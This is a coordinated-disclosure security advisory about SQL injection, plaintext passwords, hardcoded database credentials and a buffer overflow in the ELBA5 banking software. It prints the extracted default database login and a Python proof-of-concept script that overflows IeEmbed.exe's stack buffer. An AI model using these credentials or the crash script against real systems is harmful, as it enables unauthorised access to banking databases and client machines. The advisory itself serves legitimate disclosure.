Multiple Vulnerabilities in ELBA5

SEC Consult Vulnerability Lab Security Advisory < 20121220-0 >

=======================================================================

title: Multiple Vulnerabilities in ELBA5

product: ELBA 5

vulnerable version: 5.5.0 R00006 build 0796

fixed version: 5.6.0 R3

impact: Medium

homepage: www.elba.at

found: 10.08.2012

by: Kestutis Gudinavicius

SEC Consult Vulnerability Lab

www.sec-consult.com

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Vendor description:

-------------------

ELBA electronic banking is a multi-user, multi-protocol banking application.

For details, see www.elba.at.

 

 

Vulnerability overview/description:

-----------------------------------

1) Due to insufficient input validation, the application is vulnerable to a

second order SQL injection. By exploiting a SQL injection vulnerability, an

attacker could gain access to all records stored in the database.

 

2) The ELBA application stores user passwords as plaintext in the database. If

the database is compromized, for example, by exploiting a SQL injection

vulnerability an attacker could retrieve unencrypted passwords and use them to

take over user accounts.

 

3) Stand-alone and network versions of ELBA5 use default credentials in order to

connect to a database. Credentials cannot be changed, for example, by editing a

configuration file, because they are hardcoded in the application. The installation

guide does not mention a possibility of setting a custom password in order to

connect to a database. An attacker can easily extract credentials from the

publicly available versions of ELBA5 and use them against the legitimate systems

running the vulnerable software.

 

4) The application uses the Java Desktop Integration Components (JDIC) package

to extend its functionality. The JDIC package contains the executable IeEmbed.exe,

which is vulnerable to a stack based buffer overflow. An attacker is able to

execute arbitrary code in the context of the user when sending a specially

crafted packet to the locally accesible TCP port bound by the IeEmbed.exe. This

vulnerability is highly severe in multi user environments such as Citrix - one

terminal user can attack other terminal users.

 

 

 

Proof of concept:

-----------------

1) A SQL injection payload that is injected in the name of the account group field

during the creation of an account group is later used unescaped by some forms of

the application. To test this issue, it is sufficient to add a new account group

(Master Data -> More -> Account Groups) that contains a single quote character

in its name e.g. "SQL_INJECTION'" and navigate to the Payments -> Finished

orders or Payments -> Packed orders form. Selecting a newly created account

group from the "Client account" drop-down list will result in a SQL syntax error

message.

 

The following output is an application debug message. It shows an affected SQL

statement. Note that the parameter "kgruppe" contains unescaped value resulting in

an invalid SQL query.

 

ERROR [a1b95f8175cd4c2]   DataSourceDB.handleThrowable: DB-Fehler aufgetreten -> fullContent: 
	 
--- Message: current statement: SELECT a2.vfgid, bestand.bestNr, a1.zeichbed, bestand.uwkz, a2.zeichbed, a2.signnr, k.inhaber1, a1.signnr, bestand.sammler, bestand.anzahl, ebzsb.ebzid, edidoc.senden, bestand.vermerk, bestand.konto, a2.vfgname, a1.vfgname, bestand.umsvkn, bestand.status, rzkennung.rzkennung, edifile.edifilenr, aufart.zvart, a2.signstat, a1.signstat, bestand.summe, bestand.gwkz, a2.docnr, bestand.iban, bestand.kontoBez, a1.signkey, a1.docnr, a2.signkey, (select count(*) from aufkopf where bestand.bestnr = aufkopf.bestnr), bestand.blz, bestand.linRef, bestand.docNr, rzkennung.rzid, bestand.linNr, bestand.scode, COALESCE(edifile.vaxdat, edifile.senddat), rzkennung.bankbez, bestand.msgNr, bestand.wkz, a2.sign, a1.sign, bestand.kto, a1.vfgid, bestand.datArt, bestand.gvc, a1.vfgnr, bestand.matchcd, a2.vfgnr, bestand.art, bestand.dfDat, bestand.swift, bestand.kontrollwert
	 FROM bestand 
	 join edimsg on bestand.docnr = edimsg.docnr and bestand.msgnr = edimsg.msgnr 
	 join aufart on bestand.art = aufart.art 
	 LEFT OUTER JOIN ( select zvk.konto, zvk.inhaber1, zvk.logicKto from ZVKONTO zvk union all select ek.konto, ek.inhaber, null from EXTKONTO ek) as k (konto, inhaber1, logicKto) on bestand.konto = k.konto  
	 join edidoc on edimsg.docnr =  edidoc.docnr 
	 join rzkennung on edidoc.rzid = rzkennung.rzid 
	 left outer join edifile on edidoc.edifilenr = edifile.edifilenr 
	 left outer join autack a1 on edidoc.docnr = a1.adocnr and a1.vfgidx = 1 
	 left outer join autack a2 on edidoc.docnr = a2.adocnr and a2.vfgidx = 2 
	 left outer join ebzsb on edidoc.docnr = ebzsb.adocnr 
	 WHERE 1=1 AND 
	 edidoc.status in ( 15, 16, 11, 12, 13, 14 )  AND ( 
	 coalesce(bestand.konto, 0) = 0 OR 
	 bestand.konto in ( select konto from BEDKTO where bediener = 3) ) AND 
	 (COALESCE(k.logicKto, k.konto) in (select konto from grpkto where kgruppe = 'SQL_INJECTION' '))  
	 ORDER BY bestand.docNr desc, bestand.msgNr, bestand.linNr---

 

2) The unencrypted user credentials are stored in the database table BEDIENER,

the affected column is PASSWORT.

 

3) Despite the fact that some parts of the application are obfuscated it is

relatively easy to extract hardcoded database credentials using a debugger. The

following credentials were extracted and used to successfully connect to the

remote ELBA5 databases:

 

uid=elba

pwd=i#aG_7Yd9#

 

4) The component IeEmbed.exe is launched every time when a user navigates to, for

example, Accounts -> Account overview form. The component starts listening on a

random TCP port and binds to localhost. When parsing a data packet that is

supposed to be converted to a HTTP POST request, the component IeEmbed.exe

allocates a fixed size array to hold the HTTP headers, but fails to validate the

user supplied data. By providing a large enough string (more than 2048 bytes)

the stack buffer is overflowed. To test this vulnerability, a similar to the

following data was sent to the TCP port that was opened by the component

IeEmbed.exe. The value 2556364 was the handle of the arbitrary active window

and the {A x 4096} value represents the 4096 bytes length string.

 

0,1,2556364</html><body></html>

0,6,http://localhost0,6,foo=bar0,6,AAAAAAAAAAAA...{A x 4096}...AAAAAAAA</html><body></html>

 

A harmless proof of concept code (Python (2.x) is required) is provided below.

Running it will result in a crash of the component IeEmbed.exe. Crash details

can be analyzed using a debugger.

 

import socket
import sys

EIP='\xaa\xaa\xaa\xaa'

def socket_read(sock):
    data = ''
    sock.settimeout(1)
    while True:
        try:
            buff = sock.recv(1024)
        except socket.timeout:
            break
        data += buff
        if not buff: break
    return data
    
if __name__ == '__main__':
    if len(sys.argv) != 3:
        print "Usage: ./%s <Target IP> <Port>" % sys.argv[0]
        sys.exit(1)

    host, port = sys.argv[1:]
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, int(port)))
    
    print '\n- Searching for the window handle\n'
    
    for i in xrange(65552,70000):    
        pkt='0,1,%s</html><body></html>' % i
        print 'Sending data (to %s:%i):\n%s' % (host, int(port), repr(pkt))
        s.send(pkt)
        data=socket_read(s)
        
        if data:
            print '\n- Sendind exploit payload\n'
            pkt='0,6,http://localhost0,6,foo=bar0,6,' + 'A' * 2087 + EIP + '</html><body></html>'
            print 'Sending data (to %s:%i):\n%s' % (host, int(port), repr(pkt))
            s.send(pkt)
            s.close()
            break
    
    sys.exit(1)

 

 

 

Vulnerable / tested versions:

-----------------------------

5.5.0 R00006 build 0796

 

 

Vendor contact timeline:

------------------------

2012-09-04: Contacting vendor through software@racon-linz.at.

2012-09-04: Vendor response: Issues will be investigated.

2012-09-25: Vendor response: New release with fixes will be published on 03.12.2012

2012-11-26: Vendor response: Release rescheduled to 17.12.2012

2012-12-20: Public disclosure of advisory

 

Solution:

---------

Upgrade to ELBA 5 5.6.0 R3

 

 

Workaround:

-----------

None

 

 

Advisory URL:

-------------

www.sec-consult.com/vulnerability-lab/

 

 

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Tel.: +43 / 1 / 890 30 43 - 0

Fax.: +43 / 1 / 890 30 43 - 25

Mail: research at sec-consult dot com

www.sec-consult.com

 

EOF K. Gudinavicius / @2012